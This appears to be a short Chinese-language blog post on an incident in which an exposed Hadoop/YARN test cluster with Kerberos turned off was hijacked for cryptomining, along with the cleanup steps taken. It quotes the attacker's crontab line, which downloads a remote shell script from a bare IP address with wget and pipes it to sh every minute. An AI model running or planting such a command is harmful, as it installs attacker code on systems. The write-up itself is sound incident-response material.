Yarn遭到挖礦病毒攻擊

測試環境在阿里雲上暴露出了公網端口，前一段時間CDH集羣本來是開啓了Kerberos認證，可是由於你們反映使用麻煩，因此就又關閉了Kerberos。

最近幾天你們廣泛反映測試環境上hive和hdfs job執行很慢，yarn進程的cpu使用率持續在200%以上，通過排除CPU使用率已經連續兩天100%且沒有降下來，查看job以下

有39個job明細多餘開發提交的任務數量，且User來自dr.who，這個以前沒有見過，初步判定遭受了攻擊，

 

切換到yarn用戶下：

sudo -u yarn crontab -l

顯示* * * * * wget -q -O - http://46.249.38.186/cr.sh | sh > /dev/null 2>&1

且在/var/tmp目錄下多出了一個java文件

 

解決辦法是關閉掉crontab調度，而且刪掉/var/tmp/java文件，從新開啓kerberos認證服務器恢復正常